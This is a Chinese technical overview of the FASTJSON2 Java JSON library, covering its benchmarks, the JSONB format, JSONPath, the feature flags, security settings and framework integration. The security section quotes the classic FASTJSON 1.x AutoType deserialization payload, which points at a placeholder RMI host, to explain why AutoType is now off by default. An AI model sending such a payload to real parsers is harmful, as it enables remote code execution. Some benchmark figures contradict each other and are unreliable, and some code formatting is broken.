fastjson2解析

fastjson2解析
mengnankkzhou📑 目录
1-项目概览
2-核心竞争力分析
3-技术架构深度解析
4-性能基准测试详解
5-jsonb-二进制格式详解
6-jsonpath-高级用法
7-feature-系统完全指南
8-安全性设计与最佳实践
9-框架集成指南
10-实战代码示例
11-性能优化技巧
12-从其他库迁移指南
13-常见问题解答
14-与竞品对比
15-总结与建议
项目概览
1.1 基本信息
FASTJSON 2 是阿里巴巴开源的新一代高性能 JSON 处理库,是 FASTJSON 1.x 的重大升级版本。
项目名称:FASTJSON2
当前版本:2.0.61
开发语言:Java
最低要求:JDK 8+
许可协议:Apache License 2.0
代码规模:468 个核心文件,7.2MB
测试覆盖:3421 个测试文件
提交历史:5953 次提交
文档数量:190 份 Markdown 文档1.2 设计目标
FASTJSON2 的设计目标是为未来十年提供极致优化的 JSON 库:
极致性能 - 相比 1.x 提升 2-3 倍,远超竞品
- 功能完整 - 支持 JSON、JSONB、JSONPath、JSON Schema
- 安全可靠 - 默认安全,显式控制,吸取 1.x 教训
- 易用易扩展 - 简洁 API,灵活配置,完善集成
生态成熟 - 支持 Spring、Kotlin、Android 等主流技术栈
1.3 核心模块结构
fastjson2/
├── core/ # 核心模块(468 个文件)
│ ├── JSON.java # 主入口 API
│ ├── JSONObject.java # JSON 对象容器
│ ├── JSONArray.java # JSON 数组容器
│ ├── JSONReader.java # 反序列化核心(237KB)
│ ├── JSONWriter.java # 序列化核心
│ ├── JSONB.java # 二进制格式支持(119KB)
│ ├── JSONPath.java # 路径查询引擎(55KB)
│ ├── reader/ # 反序列化实现(155 个文件)
│ ├── writer/ # 序列化实现(118 个文件)
│ ├── internal/ # 内部实现(ASM、Trove)
│ └── support/ # CSV、XML、Protobuf 支持
├── extension/ # 扩展模块(171 个文件)
│ ├── spring5/ # Spring 5.x 集成
│ ├── spring6/ # Spring 6.x 集成
│ └── solon/ # Solon 框架集成
├── kotlin/ # Kotlin 原生支持
├── android/ # Android 8+ 支持
└── benchmark/ # 性能基准测试
核心竞争力分析
2.1 为什么开发者喜欢用 FASTJSON2?
✅ 1. 性能王者 - 行业领先
关键数据(基于 JDK 17,阿里云 ECS c8i.large):
┌───────────────────┬──────────────┬─────────────┬─────────────┬──────────┐
│ 场景 │ FASTJSON2 │ Jackson │ Gson │ 性能优势 │
├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤
│ 解析 JSON 字符串 │ 3919 ops/ms │ 1025 ops/ms │ 1013 ops/ms │ 3.8倍 │
├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤
│ 解析格式化 JSON │ 2476 ops/ms │ 954 ops/ms │ 877 ops/ms │ 2.6倍 │
├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤
│ 解析 JSONB 二进制 │ 6766 ops/ms │ - │ - │ 独有 │
├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤
│ JSONB 数组映射 │ 11424 ops/ms │ - │ - │ 极致 │
├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤
│ 序列化对象 │ 5236 ops/ms │ - │ - │ 最快 │
└───────────────────┴──────────────┴─────────────┴─────────────┴──────────┘
相比 FASTJSON 1.x 的提升:
- 解析性能提升:2 倍
- 格式化解析提升:3.44 倍
- 序列化性能提升:164%
UTF8 序列化提升:185%
✅ 2. 创新功能 - 独树一帜
JSONB 二进制格式:
✓ 完全对应 JSON 格式(无损转换)
✓ 数据紧凑无空洞(节省 20-30% 空间)
✓ 智能编码优化(常用数据 1 字节表示)
✓ 支持完整 Java 序列化
✓ 相比 Hessian 快 10 倍以上JSONPath 部分解析:
✓ 只解析需要的字段(避免全量加载)
✓ 支持 SQL:2016 标准语法
✓ 大 JSON 性能提升 5-10 倍
✓ 内存占用减少 80%+ASM 字节码生成:
✓ 动态生成序列化代码(避免反射)
✓ 性能提升 2-3 倍
✓ 支持多编码优化(UTF8/UTF16/ASCII)✅ 3. 安全可靠 - 默认安全
吸取 1.x 教训的安全设计:
✓ AutoType 默认关闭(需显式打开)
✓ 支持白名单配置
✓ SafeMode 完全禁用风险功能
✓ FieldBased 模式更安全
✓ 无内置白名单(避免绕过)✅ 4. 易用易扩展 - 开发友好
简洁 API:
// 一行代码搞定
User user = JSON.parseObject(json, User.class);
String text = JSON.toJSONString(user);灵活配置:
✓ 30+ 反序列化 Feature
✓ 40+ 序列化 Feature
✓ 注解驱动配置
✓ 全局/局部配置完善集成:
✓ Spring 5.x / 6.x
✓ Spring Boot 2.x / 3.x
✓ Kotlin 原生支持
✓ Android 8+
✓ Solon 框架✅ 5. 生态成熟 - 持续维护
✓ 阿里巴巴背书(内部大规模使用)
✓ 5953 次提交(持续活跃开发)
✓ 3421 个测试(高测试覆盖率)
✓ 190 份文档(完整文档体系)
✓ 活跃社区支持
技术架构深度解析
3.1 分层架构设计
┌─────────────────────────────────────────────────┐
│ JSON / JSONB / JSONPath API │ 公开 API 层
│ - 静态方法,开箱即用 │
│ - 简洁易用,学习成本低 │
├─────────────────────────────────────────────────┤
│ JSONReader / JSONWriter │ 核心读写层
│ - 多编码优化(UTF8/UTF16/ASCII/JSONB) │
│ - 流式处理,内存高效 │
├─────────────────────────────────────────────────┤
│ ObjectReader / ObjectWriter │ 对象映射层
│ - 类型转换,对象构造 │
│ - 缓存机制,性能优化 │
├─────────────────────────────────────────────────┤
│ FieldReader / FieldWriter │ 字段处理层
│ - 字段读写,类型适配 │
│ - 注解处理,Feature 应用 │
├─────────────────────────────────────────────────┤
│ ASM 字节码生成 / 反射 │ 代码生成层
│ - 动态生成序列化代码 │
│ - 避免反射开销 │
├─────────────────────────────────────────────────┤
│ UTF8/UTF16/ASCII/JSONB 解析器 │ 编码优化层
│ - 针对不同输入源的专用优化 │
│ - CPU 缓存友好 │
└─────────────────────────────────────────────────┘3.2 多编码优化策略
FASTJSON2 针对不同输入源使用专用解析器:
// 1. JSONReaderUTF16 - 处理 String(JDK8 char[] 内部表示)
String json = “{\”name\”:\”John\”}”;
JSON.parseObject(json); // → 使用 JSONReaderUTF16// 2. JSONReaderUTF8 - 处理 byte[](UTF-8 编码)
byte[] bytes = json.getBytes(StandardCharsets.UTF_8);
JSON.parseObject(bytes); // → 使用 JSONReaderUTF8(更快)// 3. JSONReaderASCII - 处理 JDK9+ ASCII 字符串(coder=0)
// 自动检测并使用// 4. JSONReaderJSONB - 处理 JSONB 二进制格式
byte[] jsonb = JSONB.toBytes(user);
JSONB.parseObject(jsonb); // → 使用 JSONReaderJSONB(最快)性能对比:
UTF16 (String) : 3919 ops/ms (基准)
UTF8 (byte[]) : 3828 ops/ms (97.7%)
JSONB (byte[]) : 6766 ops/ms (172.7%) ← 最快3.3 ASM 字节码生成原理
传统反射方式(慢)
// 每次都要检查权限、类型转换
Field field = clazz.getDeclaredField(“name”);
field.setAccessible(true);
field.set(object, value);ASM 生成的代码(快)
// 直接调用,无反射开销
((User)object).setName((String)value);核心实现类
// ObjectReaderCreatorASM.java - 动态生成反序列化器
public class ObjectReaderCreatorASM extends ObjectReaderCreator {
// 使用 ASM 动态生成类似下面的代码
public Object readObject(JSONReader reader, …) {User user = new User(); while (reader.nextIfMatch(...)) { long hash = reader.readFieldNameHashCode(); if (hash == HASH_NAME) { user.setName(reader.readString()); } else if (hash == HASH_AGE) { user.setAge(reader.readInt32Value()); } } return user;}
}性能提升:
- 首次调用:10-50ms(代码生成开销)
- 后续调用:性能提升 2-3 倍
- 适合高频调用场景
性能基准测试详解
4.1 测试环境
硬件:阿里云 ECS c8i.large(Intel)
CPU:8 核
内存:16GB
操作系统:Linux
JDK 版本:JDK 8 / 11 / 17 / GraalVM 17
测试框架:JMH(Java Microbenchmark Harness)4.2 解析性能对比
场景 1:解析 JSON 字符串(EishayParseString)
┌───────────┬────────────┬────────────┬────────────┬────────────┐
│ 库 │ JDK 8 │ JDK 11 │ JDK 17 │ GraalVM 17 │
├───────────┼────────────┼────────────┼────────────┼────────────┤
│ FASTJSON2 │ 3181 │ 3650 │ 3919 │ 4247 │
├───────────┼────────────┼────────────┼────────────┼────────────┤
│ FASTJSON1 │ 2165 (68%) │ 1955 (54%) │ 2649 (68%) │ 3526 (83%) │
├───────────┼────────────┼────────────┼────────────┼────────────┤
│ Jackson │ 1123 (35%) │ 1005 (28%) │ 1025 (26%) │ 1046 (25%) │
├───────────┼────────────┼────────────┼────────────┼────────────┤
│ Gson │ 1000 (31%) │ 982 (27%) │ 1013 (26%) │ 1094 (26%) │
└───────────┴────────────┴────────────┴────────────┴────────────┘
结论:
- FASTJSON2 在所有 JDK 版本上都是最快的
- 相比 Jackson 快 3.8 倍
- 相比 Gson 快 3.9 倍
GraalVM 环境下性能提升 8.4%
场景 2:解析格式化 JSON(EishayParseStringPretty)
┌───────────┬────────┬────────┐
│ 库 │ JDK 17 │ 性能比 │
├───────────┼────────┼────────┤
│ FASTJSON2 │ 2476 │ 100% │
├───────────┼────────┼────────┤
│ FASTJSON1 │ 637 │ 26% │
├───────────┼────────┼────────┤
│ Jackson │ 954 │ 39% │
├───────────┼────────┼────────┤
│ Gson │ 877 │ 35% │
└───────────┴────────┴────────┘
结论:- FASTJSON2 相比 1.x 提升 3.89 倍(格式化解析优化显著)
相比 Jackson 快 2.6 倍
场景 3:解析 JSONB 二进制(EishayParseBinary)
┌─────────────────┬────────┬────────┐
│ 库 │ JDK 17 │ 性能比 │
├─────────────────┼────────┼────────┤
│ FASTJSON2 JSONB │ 6766 │ 100% │
├─────────────────┼────────┼────────┤
│ FASTJSON2 UTF8 │ 3828 │ 57% │
├─────────────────┼────────┼────────┤
│ Hessian │ 639 │ 9% │
├─────────────────┼────────┼────────┤
│ Java Serialize │ 128 │ 2% │
└─────────────────┴────────┴────────┘
结论:- JSONB 相比 UTF8 快 76.8%
- 相比 Hessian 快 10.6 倍
相比 Java 原生序列化快 53 倍
场景 4:JSONB 数组映射(EishayParseBinaryArrayMapping)
┌─────────────────┬────────┬────────────┬───────┐
│ 库 │ JDK 17 │ GraalVM 17 │ 提升 │
├─────────────────┼────────┼────────────┼───────┤
│ FASTJSON2 JSONB │ 11424 │ 15614 │ 36.7% │
├─────────────────┼────────┼────────────┼───────┤
│ Kryo │ 3355 │ 4264 │ 27.1% │
├─────────────────┼────────┼────────────┼───────┤
│ Protobuf │ 3598 │ 6173 │ 71.6% │
└─────────────────┴────────┴────────────┴───────┘
结论:- JSONB 数组映射是最快的序列化方式
- 相比 Kryo 快 3.4 倍
- 相比 Protobuf 快 3.2 倍
GraalVM 环境下性能提升 36.7%
4.3 序列化性能对比
场景 5:序列化对象(EishayWriteString)
┌───────────┬────────┬────────┐
│ 库 │ JDK 17 │ 性能比 │
├───────────┼────────┼────────┤
│ FASTJSON2 │ 5236 │ 100% │
├───────────┼────────┼────────┤
│ FASTJSON1 │ 2649 │ 51% │
├───────────┼────────┼────────┤
│ Jackson │ 1665 │ 32% │
├───────────┼────────┼────────┤
│ Gson │ 1163 │ 22% │
└───────────┴────────┴────────┘
结论:- FASTJSON2 相比 1.x 提升 97.6%
- 相比 Jackson 快 3.1 倍
相比 Gson 快 4.5 倍
4.4 性能优化建议
根据基准测试结果,推荐以下优化策略:
// 1. 使用 byte[] 而非 String(提升 ~5%)
byte[] bytes = json.getBytes(StandardCharsets.UTF_8);
User user = JSON.parseObject(bytes, User.class);// 2. 使用 JSONB 格式(提升 ~77%)
byte[] jsonb = JSONB.toBytes(user);
User user2 = JSONB.parseObject(jsonb, User.class);// 3. 使用 BeanToArray 减少体积(提升 ~30%)
String compact = JSON.toJSONString(user, JSONWriter.Feature.BeanToArray);// 4. 缓存 JSONPath 对象(提升 ~50%)
private static final JSONPath PATH = JSONPath.of(“$.user.id”);
Object id = PATH.extract(JSONReader.of(json));// 5. 使用 GraalVM(提升 ~8-37%)
// 直接使用 GraalVM JDK 运行应用
JSONB 二进制格式详解
5.1 设计目标
JSONB 是 FASTJSON2 的创新特性,专为高性能场景设计:
完全对应 JSON 格式(无损转换)
- 数据紧凑无空洞(节省空间)
- 常用整数 -16~63 紧凑设计(1 字节)
- null/true/false 紧凑设计(1 字节)
- 0~15 长度数组紧凑设计
- 0~47 长度 ASCII 字符串紧凑设计
- 对象字段名短编码支持(Symbol)
支持完整 Java 序列化
5.2 编码格式详解
数值编码
INT32 编码:
┌──────────────────┬────────┬───────────────────────┬───────────────────────┐
│ 取值范围 │ 字节数 │ 编码格式 │ 示例 │
├──────────────────┼────────┼───────────────────────┼───────────────────────┤
│ -16 ~ 47 │ 1 │ 0xf0 ~ 0x2f │ 0 → 0x00 │
├──────────────────┼────────┼───────────────────────┼───────────────────────┤
│ -2048 ~ 2047 │ 2 │ 0x30 ~ 0x3f + 1 byte │ 100 → 0x30 0x64 │
├──────────────────┼────────┼───────────────────────┼───────────────────────┤
│ -262144 ~ 262143 │ 3 │ 0x40 ~ 0x47 + 2 bytes │ 1000 → 0x40 0x03 0xe8 │
├──────────────────┼────────┼───────────────────────┼───────────────────────┤
│ 完整 INT32 │ 5 │ 0x48 + 4 bytes │ 1000000 → 0x48 … │
└──────────────────┴────────┴───────────────────────┴───────────────────────┘
INT64 编码:
┌──────────────────┬────────┬───────────────────────┐
│ 取值范围 │ 字节数 │ 编码格式 │
├──────────────────┼────────┼───────────────────────┤
│ -8 ~ 15 │ 1 │ 0xd8 ~ 0xef │
├──────────────────┼────────┼───────────────────────┤
│ -2048 ~ 2047 │ 2 │ 0xc8 ~ 0xd7 + 1 byte │
├──────────────────┼────────┼───────────────────────┤
│ -262144 ~ 262143 │ 3 │ 0xc0 ~ 0xc7 + 2 bytes │
├──────────────────┼────────┼───────────────────────┤
│ INT32 范围 │ 5 │ 0xbf + 4 bytes │
├──────────────────┼────────┼───────────────────────┤
│ 完整 INT64 │ 9 │ 0xbe + 8 bytes │
└──────────────────┴────────┴───────────────────────┘
DOUBLE 编码:
┌─────────────┬────────┬────────────────┐
│ 值 │ 字节数 │ 编码格式 │
├─────────────┼────────┼────────────────┤
│ 0.0 │ 1 │ 0xb2 │
├─────────────┼────────┼────────────────┤
│ 1.0 │ 1 │ 0xb3 │
├─────────────┼────────┼────────────────┤
│ 整数 double │ 2-10 │ 0xb4 + int64 │
├─────────────┼────────┼────────────────┤
│ 完整 double │ 9 │ 0xb5 + 8 bytes │
└─────────────┴────────┴────────────────┘
字符串编码0x49 ~ 0x78 → 长度 0-47 的 ASCII 字符串(1 + N 字节)
0x79 → LATIN1 字符串(1 + len + N 字节)
0x7a → UTF-8 字符串(1 + len + N 字节)
0x7b → UTF-16 字符串(1 + len + N 字节)
0x7e → GB18030 字符串(优化中文)
0x7f → Symbol 引用(1 + 4 字节)特殊值编码
0xaf → NULL (1 字节)
0xb0 → FALSE (1 字节)
0xb1 → TRUE (1 字节)日期编码
0xae → Instant (3-15 字节)
0xad → Date (分钟精度, 5 字节)
0xac → Date (秒精度, 5 字节)
0xab → Date (毫秒精度, 9 字节)
0xa9 → LocalDate (5 字节)
0xa8 → LocalDateTime (8-12 字节)
0xa7 → LocalTime (4-8 字节)5.3 空间对比
示例 JSON:
{
“id”: 123,
“name”: “fastjson2”,
“active”: true,
“score”: 98.5,
“tags”: [“java”, “json”, “performance”]
}大小对比:
┌────────────────┬────────────┬───────┐
│ 格式 │ 大小 │ 节省 │
├────────────────┼────────────┼───────┤
│ JSON │ 451 字节 │ - │
├────────────────┼────────────┼───────┤
│ JSONB │ 348 字节 │ 23% │
├────────────────┼────────────┼───────┤
│ Hessian │ 644 字节 │ -43% │
├────────────────┼────────────┼───────┤
│ Fury │ 670 字节 │ -49% │
├────────────────┼────────────┼───────┤
│ Java Serialize │ 1200+ 字节 │ -166% │
└────────────────┴────────────┴───────┘
5.4 使用示例// 1. 序列化为 JSONB
User user = new User(1, “John”, 25);
byte[] jsonb = JSONB.toBytes(user);// 2. 反序列化 JSONB
User user2 = JSONB.parseObject(jsonb, User.class);// 3. 使用 BeanToArray 进一步压缩
byte[] compact = JSONB.toBytes(user, JSONWriter.Feature.BeanToArray);
// 输出:[1,”John”,25] 而非 {“id”:1,”name”:”John”,”age”:25}// 4. 反序列化数组映射
User user3 = JSONB.parseObject(compact, User.class,
JSONReader.Feature.SupportArrayToBean);// 5. JSONB 与 JSON 互转
String json = JSONB.toJSONString(jsonb);
byte[] jsonb2 = JSONB.parseBytes(json);5.5 适用场景
✅ 推荐使用 JSONB:
- 微服务间通信(节省带宽)
- 缓存存储(Redis、Memcached)
- 消息队列(Kafka、RocketMQ)
- 大数据传输(日志、监控数据)
移动端通信(节省流量)
❌ 不推荐使用 JSONB:
- 需要人工可读的场景
- 与非 Java 系统交互
- 需要跨语言支持
- 调试和排查问题时
JSONPath 高级用法
6.1 基础语法
// 1. 根节点
$.store// 2. 子节点
$.store.book// 3. 数组索引
$.store.book[0]// 4. 数组切片
$.store.book[0:2]// 5. 所有子节点
$.store.book[*]// 6. 递归查找
$..author// 7. 过滤表达式
$.store.book[?(@.price < 10)]// 8. 多路径
$.store.book[0,2,4]6.2 部分解析(核心优势)
传统方式需要解析整个 JSON:
// 传统方式:解析整个 JSON(浪费)
String json = “{\”user\”:{\”id\”:123,\”name\”:\”John\”,\”profile\”:{…大量数据…}}}”;
JSONObject obj = JSON.parseObject(json); // 解析全部
int id = obj.getJSONObject(“user”).getIntValue(“id”); // 只用了 idFASTJSON2 方式只解析需要的字段:
// FASTJSON2 方式:只解析需要的字段(高效)
JSONPath path = JSONPath.of(“$.user.id”); // 缓存复用
JSONReader reader = JSONReader.of(json);
Object id = path.extract(reader); // 只读取 id,跳过其他字段性能对比:
JSON 大小:1MB
传统方式:100ms(解析全部)
部分解析:20ms(只解析需要的)
性能提升:5 倍6.3 高级功能
过滤表达式
// 查找价格小于 10 的书
String json = “””
{
“store”: {
“book”: [
{“title”: “Book1”, “price”: 8.95},
{“title”: “Book2”, “price”: 12.99},
{“title”: “Book3”, “price”: 8.99}
]
}
}
“””;JSONPath path = JSONPath.of(“$.store.book[?(@.price < 10)]”);
List函数调用
// 获取数组长度
JSONPath.of(“$.store.book.length()”).eval(json); // 返回:3// 获取最小值
JSONPath.of(“$.store.book.min(price)”).eval(json); // 返回:8.95// 获取最大值
JSONPath.of(“$.store.book.max(price)”).eval(json); // 返回:12.99// 求和
JSONPath.of(“$.store.book.sum(price)”).eval(json); // 返回:30.93类型化查询
// 直接返回指定类型
User user = JSONPath.of(“$.user”).extract(json, User.class);// 返回 List
Listbooks = JSONPath.of(“$.store.book”)
.extract(json, new TypeReference- >(){});
多路径查询
// 查询多个路径
JSONPath path = JSONPath.of(“$.user.id”, “$.user.name”);
Mapresult = path.extract(json);
// 返回:{“$.user.id”: 123, “$.user.name”: “John”}6.4 性能优化技巧
// ✓ 缓存 JSONPath 对象(性能提升 50%+)
private static final JSONPath USER_ID_PATH = JSONPath.of(“$.user.id”);public int getUserId(String json) {
return (int) USER_ID_PATH.eval(json);
}// ✗ 不要每次都创建(性能差)
public int getUserId(String json) {
return (int) JSONPath.of(“$.user.id”).eval(json); // 每次都编译
}// ✓ 使用 extract 而非 eval(更快)
JSONReader reader = JSONReader.of(json);
Object id = path.extract(reader); // 流式解析// ✓ 在 JSONB 上使用 JSONPath(最快)
byte[] jsonb = JSONB.toBytes(user);
JSONReader reader = JSONReader.ofJSONB(jsonb);
Object id = path.extract(reader); // JSONB + JSONPath = 极致性能
Feature 系统完全指南
7.1 JSONReader.Feature(反序列化配置)
安全性 Feature
// FieldBased - 基于字段反序列化(更安全)
// 只反序列化声明的字段,忽略 getter/setter
User user = JSON.parseObject(json, User.class,
JSONReader.Feature.FieldBased);// SupportAutoType - 支持自动类型(默认关闭,需显式打开)
Object obj = JSON.parseObject(json, Object.class,
JSONReader.Feature.SupportAutoType);// UseDefaultConstructorAsPossible - 尽可能使用默认构造函数
// 避免使用 Unsafe.allocateInstance
User user = JSON.parseObject(json, User.class,
JSONReader.Feature.UseDefaultConstructorAsPossible);智能匹配 Feature
// SupportSmartMatch - 智能识别 5 种命名规范
// 支持:camelCase, PascalCase, snake_case, kebab-case, UPPER_CASE
String json = “{\”user_name\”:\”John\”, \”user-age\”:25}”;
User user = JSON.parseObject(json, User.class,
JSONReader.Feature.SupportSmartMatch);
// 自动映射到 userName 和 userAge 字段数据处理 Feature
// UseBigDecimalForDoubles - 使用 BigDecimal 处理小数(精确计算)
Product product = JSON.parseObject(json, Product.class,
JSONReader.Feature.UseBigDecimalForDoubles);// SupportArrayToBean - 数组映射到对象
String json = “[1,\”John\”,25]”;
User user = JSON.parseObject(json, User.class,
JSONReader.Feature.SupportArrayToBean);
// 按字段顺序映射:id=1, name=”John”, age=25// InitStringFieldAsEmpty - 初始化 String 字段为空字符串
User user = JSON.parseObject(“{}”, User.class,
JSONReader.Feature.InitStringFieldAsEmpty);
// user.name = “” 而非 null// TrimString - 对字符串值做 trim 处理
String json = “{\”name\”:\” John \”}”;
User user = JSON.parseObject(json, User.class,
JSONReader.Feature.TrimString);
// user.name = “John”错误处理 Feature
// ErrorOnEnumNotMatch - Enum 不匹配时抛异常(默认忽略)
Status status = JSON.parseObject(json, Status.class,
JSONReader.Feature.ErrorOnEnumNotMatch);// ErrorOnNotSupportAutoType - 遇到 AutoType 报错
Object obj = JSON.parseObject(json, Object.class,
JSONReader.Feature.ErrorOnNotSupportAutoType);// IgnoreSetNullValue - 忽略输入为 null 的字段
User user = JSON.parseObject(json, User.class,
JSONReader.Feature.IgnoreSetNullValue);兼容性 Feature
// UseNativeObject - 使用 LinkedHashMap 和 ArrayList
// 而非 JSONObject 和 JSONArray
Object obj = JSON.parse(json,
JSONReader.Feature.UseNativeObject);// AllowUnQuotedFieldNames - 支持不带双引号的字段名
String json = “{name:\”John\”, age:25}”;
User user = JSON.parseObject(json, User.class,
JSONReader.Feature.AllowUnQuotedFieldNames);// Base64StringAsByteArray - Base64 字符串反序列化为 byte[]
String json = “{\”data\”:\”SGVsbG8=\”}”;
Data data = JSON.parseObject(json, Data.class,
JSONReader.Feature.Base64StringAsByteArray);7.2 JSONWriter.Feature(序列化配置)
输出控制 Feature
// WriteNulls - 输出 null 字段
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteNulls);
// 输出:{“id”:1,”name”:”John”,”email”:null}// NotWriteDefaultValue - 不输出默认值
String json = JSON.toJSONString(user,
JSONWriter.Feature.NotWriteDefaultValue);
// age=0 不输出,active=false 不输出// WriteNullListAsEmpty - List 类型 null 输出为 []
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteNullListAsEmpty);// WriteNullStringAsEmpty - String 类型 null 输出为 “”
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteNullStringAsEmpty);// WriteNullNumberAsZero - Number 类型 null 输出为 0
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteNullNumberAsZero);// WriteNullBooleanAsFalse - Boolean 类型 null 输出为 false
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteNullBooleanAsFalse);格式化 Feature
// PrettyFormat - 格式化输出
String json = JSON.toJSONString(user,
JSONWriter.Feature.PrettyFormat);
// 输出:
// {
// “id”: 1,
// “name”: “John”
// }// UseSingleQuotes - 使用单引号
String json = JSON.toJSONString(user,
JSONWriter.Feature.UseSingleQuotes);
// 输出:{‘id’:1,’name’:’John’}// UnquoteFieldName - 不带引号输出 Key
String json = JSON.toJSONString(user,
JSONWriter.Feature.UnquoteFieldName);
// 输出:{id:1,name:”John”}紧凑输出 Feature
// BeanToArray - 对象序列化为数组(节省空间 30%+)
String json = JSON.toJSONString(user,
JSONWriter.Feature.BeanToArray);
// 输出:[1,”John”,25] 而非 {“id”:1,”name”:”John”,”age”:25}// MapSortField - Map 按 Key 排序(验签场景)
String json = JSON.toJSONString(map,
JSONWriter.Feature.MapSortField);类型信息 Feature
// WriteClassName - 输出类型信息
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteClassName);
// 输出:{“@type”:”com.example.User”,”id”:1,”name”:”John”}// NotWriteRootClassName - 不输出根对象类型信息
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteClassName,
JSONWriter.Feature.NotWriteRootClassName);// NotWriteHashMapArrayListClassName - 不输出 HashMap/ArrayList 类型
String json = JSON.toJSONString(data,
JSONWriter.Feature.WriteClassName,
JSONWriter.Feature.NotWriteHashMapArrayListClassName);兼容性 Feature
// BrowserCompatible - 大整数转字符串(避免 JS 精度丢失)
String json = JSON.toJSONString(data,
JSONWriter.Feature.BrowserCompatible);
// Long 超过 2^53 会输出为字符串// WriteLongAsString - 所有 Long 输出为字符串
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteLongAsString);// BrowserSecure - 浏览器安全,转义 < > ( )
String json = JSON.toJSONString(user,
JSONWriter.Feature.BrowserSecure);// WriteBooleanAsNumber - true 输出为 1,false 输出为 0
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteBooleanAsNumber);Enum 处理 Feature
// WriteEnumsUsingName - 使用 name()(默认)
String json = JSON.toJSONString(status,
JSONWriter.Feature.WriteEnumsUsingName);
// 输出:”ACTIVE”// WriteEnumUsingToString - 使用 toString()
String json = JSON.toJSONString(status,
JSONWriter.Feature.WriteEnumUsingToString);// WriteEnumUsingOrdinal - 使用 ordinal()
String json = JSON.toJSONString(status,
JSONWriter.Feature.WriteEnumUsingOrdinal);
// 输出:0数值处理 Feature
// WriteBigDecimalAsPlain - BigDecimal 使用 toPlainString
// 避免科学计数法
String json = JSON.toJSONString(product,
JSONWriter.Feature.WriteBigDecimalAsPlain);// WriteNonStringValueAsString - 非 String 值输出为 String
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteNonStringValueAsString);7.3 Feature 组合使用
// 多个 Feature 组合
String json = JSON.toJSONString(user,
JSONWriter.Feature.WriteNulls,
JSONWriter.Feature.PrettyFormat,
JSONWriter.Feature.BrowserCompatible);// 使用注解配置 Feature
@JSONType(serializeFeatures = {
JSONWriter.Feature.WriteNulls,
JSONWriter.Feature.BrowserCompatible
})
public class User {
@JSONField(serializeFeatures = JSONWriter.Feature.WriteLongAsString)
private Long id;private String name;
}
安全性设计与最佳实践
8.1 AutoType 安全机制
FASTJSON 1.x 的问题
// FASTJSON 1.x 默认开启 AutoType,存在安全风险
String maliciousJson = “””
{
“@type”:”com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:”rmi://evil.com/Exploit”,
“autoCommit”:true
}
“””;
// 可能导致远程代码执行(RCE)FASTJSON 2.x 的改进
// 1. 默认关闭 AutoType
String json = “{\”@type\”:\”com.example.User\”,\”name\”:\”John\”}”;
Object obj = JSON.parseObject(json);
// 返回 JSONObject,忽略 @type(安全)// 2. 需要时显式打开
Object obj = JSON.parseObject(json, Object.class,
JSONReader.Feature.SupportAutoType); // 显式打开// 3. 使用白名单
Filter autoTypeFilter = JSONReader.autoTypeFilter(
“com.example.User”, // 允许的类
“com.example.dto.**” // 允许的包
);
Object obj = JSON.parseObject(json, Object.class, autoTypeFilter);// 4. SafeMode 完全禁用
// JVM 参数:-Dfastjson2.parser.safeMode=true
// 完全禁用 AutoType,即使代码中显式打开也无效8.2 字段级安全
// FieldBased 模式 - 只反序列化声明的字段
@JSONType(deserializeFeatures = JSONReader.Feature.FieldBased)
public class User {
private Long id;
private String name;
// 恶意 JSON 中的额外字段会被忽略
}// 使用 @JSONField 控制序列化范围
public class User {
@JSONField(serialize = false) // 不序列化
private String password;@JSONField(deserialize = false) // 不反序列化
private String token;
}8.3 安全最佳实践
// ✓ 1. 默认不开启 AutoType
Object obj = JSON.parseObject(untrustedJson); // 安全// ✗ 2. 避免在不受信任的数据上开启 AutoType
Object obj = JSON.parseObject(untrustedJson, Object.class,
JSONReader.Feature.SupportAutoType); // 危险!// ✓ 3. 使用白名单
Filter filter = JSONReader.autoTypeFilter(“com.example.dto.**”);
Object obj = JSON.parseObject(json, Object.class, filter);// ✓ 4. 使用 FieldBased 模式
@JSONType(deserializeFeatures = JSONReader.Feature.FieldBased)
public class User { … }// ✓ 5. 敏感字段不序列化
public class User {
@JSONField(serialize = false)
private String password;
}// ✓ 6. 生产环境开启 SafeMode
// -Dfastjson2.parser.safeMode=true// ✓ 7. 输入验证
if (JSON.isValid(input)) {
User user = JSON.parseObject(input, User.class);
}
框架集成指南
9.1 Spring Boot 集成
Maven 依赖
com.alibaba.fastjson2 fastjson2-extension-spring6 2.0.61 com.alibaba.fastjson2 fastjson2-extension-spring5 2.0.61 配置方式
// 方式 1:配置类
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter(); // 配置 Feature FastJsonConfig config = new FastJsonConfig(); config.setWriterFeatures( JSONWriter.Feature.PrettyFormat, JSONWriter.Feature.WriteNulls ); converter.setFastJsonConfig(config); // 添加到第一位(优先级最高) converters.add(0, converter);}
}// 方式 2:application.yml
spring:
mvc:
converters:
preferred-json-mapper: fastjson2Controller 使用
@RestController
@RequestMapping(“/api/users”)
public class UserController {// 自动使用 FASTJSON2 序列化/反序列化
@PostMapping
public User createUser(@RequestBody User user) {return userService.save(user);}
@GetMapping(“/{id}”)
public User getUser(@PathVariable Long id) {return userService.findById(id);}
// 使用 JSONObject
@PostMapping(“/dynamic”)
public JSONObject handleDynamic(@RequestBody JSONObject data) {return data;}
}9.2 Kotlin 集成
Maven 依赖
com.alibaba.fastjson2 fastjson2-kotlin 2.0.61 org.jetbrains.kotlin kotlin-reflect ${kotlin.version} Kotlin 扩展函数
import com.alibaba.fastjson2.*
// 数据类
data class User(val id: Int, val name: String, val age: Int)// 解析
val json = “””{“id”:1,”name”:”John”,”age”:25}”””
val user = json.parseObject() // 类型推断
val user2 = json.to() // 简洁写法 // 序列化
val text = user.toJSONString()
